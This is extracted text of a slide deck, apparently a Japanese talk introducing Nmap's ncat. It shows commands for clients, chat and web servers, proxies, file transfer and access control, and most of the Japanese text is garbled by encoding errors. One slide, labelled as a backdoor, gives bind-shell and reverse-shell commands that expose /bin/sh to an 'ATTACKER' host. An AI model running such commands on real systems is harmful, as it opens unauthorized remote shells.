Slide 1
Slide 1 text
/DBUΛ͔͓ͭ͏
Ԭ*5։ൃऀษڧձୈճษڧձ
/FUDBU
Slide 2
Slide 2 text
ࣗݾհ
w )BZBUP*NBJࠓҪ൏ਓ
w !IBZBKP
w Πϯϑϥ୲
Slide 3
Slide 3 text
/FUDBU
Slide 4
Slide 4 text
/FUDBUͱ
w ODίϚϯυ
w ωοτϫʔΫͷεΠεΞʔϛʔφΠϑ
w ଟతωοτϫʔΫϢʔςΟϦςΟ
w 5$16%1ϓϩτίϧΛѻ͏
w DBUͷωοτϫʔΫ൛
Slide 5
Slide 5 text
͍Ζ͍Ζͳ/FUDBU OD
ΦϦδφϧ w W
w 6CVOUV
(/6൛ w ΦϦδφϧޓ w "SDI FYUSB
0QFO#4%൛
w *1Wɺ6%4ରԠ
w ίϚϯυ࣮ߦඇରԠ
w $FOU04
w 049
/NBQ൛
ʢ/DBUʣ
w 44-ରԠɺଟػೳ w $FOU04 OD!ODBU
CVTZCPY൛ w ΄΅(/6൛ͱಉ͡
w #VTZ#PY
w "MQJOF
ࠓճ/NBQ൛/FUDBUͰ͋Δ/DBU ODBU
Λհ͠·͢ɻ
IUUQTONBQPSHODBU
Slide 6
Slide 6 text
/DBU ODBU
ͷ͔͍͔ͭͨ
Slide 7
Slide 7 text
ΫϥΠΞϯτ
$ ncat -C example.com 80
)551ΫϥΠΞϯτ
$ ncat -C HOST 11211
.FNDBDIFΫϥΠΞϯτ "4$**
$ perl -e 'print "\x80\x00\x00\x05" . "\x00"x4 .
"\x00\x00\x00\x05" . "\x00"x12 . "\x68\x65\x6c\x6c\x6f"' |\
> ncat HOST 11211 |\
> hexdump -C
.FNDBDIFΫϥΠΞϯτ #*/"3:
Slide 8
Slide 8 text
αʔό
SERVER$ ncat -l --broker
HOST1$ ncat SERVER
HOST2$ ncat SERVER
$IBUαʔό CSPLFS
SERVER$ ncat -l --chat
HOST1$ ncat SERVER
HOST2$ ncat SERVER
$IBUαʔό DIBU
$IBUαʔό
SERVER$ ncat -l # σϑΥϧτϙʔτ31337
HOST1$ ncat SERVER
Slide 9
Slide 9 text
αʔό
SERVER$ ncat -l 8080 -k \
> --sh-exec \
> "echo -e 'HTTP/1.1 200 OK\r\n\r\n';cat index.html"
CLIENT$ curl http://SERVER:8080
8FCαʔό
SERVER$ ncat --ssl -l 8443 -k \
> --sh-exec \
> "echo -e 'HTTP/1.1 200 OK\r\n\r\n';cat index.html"
CLIENT$ curl -k https://SERVER:8443
8FCαʔό 44-
Slide 10
Slide 10 text
ϓϩΩγ
PROXY$ ncat -l 8080 \
> --proxy-type http --proxy-auth user:pass
CLIENT$ curl -v https://example.com \
> --proxy PROXY:8080 --proxy-user user:pass
)551ϓϩΩγ
PROXY$ ncat -l 1883 -k \
> --sh-exec 'ncat --ssl -i 3 test.mosquitto.org 8883'
CLIENT$ MQTT_HOST=PROXY MQTT_PORT=1883 mqttcli sub -t "#"
ϓϩτίϧม )551)5514
PROXY$ ncat --ssl -l 8443 -k \
> --sh-exec 'ncat -i 3 -C localhost 3000'
CLIENT$ curl -k https://PROXY:8443
44-Φϑϩʔυ
Slide 11
Slide 11 text
ϓϩΩγ
PROXY$ mkfifo f
PROXY$ ncat -l 8080 -k while true; do \
> openssl s_client -connect example.com:443 -quiet >f 2>/dev/null; \
> done
ίωΫγϣϯϓʔϦϯά
$ httpstat https://example.com/
...
DNS Lookup TCP Connection TLS Handshake Server Processing Content Transfer
[ 6ms | 96ms | 371ms | 96ms | 1ms ]
| | | | |
namelookup:6ms | | | |
connect:102ms | | |
pretransfer:473ms | |
starttransfer:569ms |
total:570ms
$ httpstat http://PROXY:8080 -H 'Host: example.com'
...
DNS Lookup TCP Connection Server Processing Content Transfer
[ 5ms | 0ms | 98ms | 0ms ]
| | | |
namelookup:5ms | | |
connect:5ms | |
starttransfer:103ms |
total:103ms
Slide 12
Slide 12 text
ϑΝΠϧసૹ
SERVER$ ncat -l 8080 --recv-only >out.file
CLIENT$ ncat --send-only SERVER 8080 out.file
αʔόΫϥΠΞϯτసૹ
SERVER$ ncat --ssl -l 8080 --recv-only >out.file
CLIENT$ ncat --ssl --send-only SERVER 8080
Slide 13
Slide 13 text
TARGET$ ncat -l --exec /bin/sh 8080
ATTACKER$ ncat TARGET 8080
λʔήοτʹΞΫηεՄೳͳ߹
ATTACKER$ ncat -l 8080
TARGET$ ncat --exec /bin/sh ATTACKER 8080
λʔήοτ͕/"5എޙͷ߹
όοΫυΞ
Slide 14
Slide 14 text
ΞΫηε੍ޚ
$ ncat -l 8080 --allow 10.0.0.2
ڐՄ
$ ncat -l 8080 --deny 10.0.0.0/8
ڋ൱
྆ํࢦఆͨ͠߹EFOZ͕༏ઌ͞Ε·͢ɻ
Slide 15
Slide 15 text
·ͱΊ
Slide 16
Slide 16 text
·ͱΊ
w /FUDBUίϚϯυ͍͔ͭ͘ͷ࣮͕͋Δ
w /DBUଟػೳɺ։ൃΜͳͷͰ͓͢͢Ί
w ΞΠσΞ࣍ୈͰ༷ʑͳ͍ํ͕͋Δ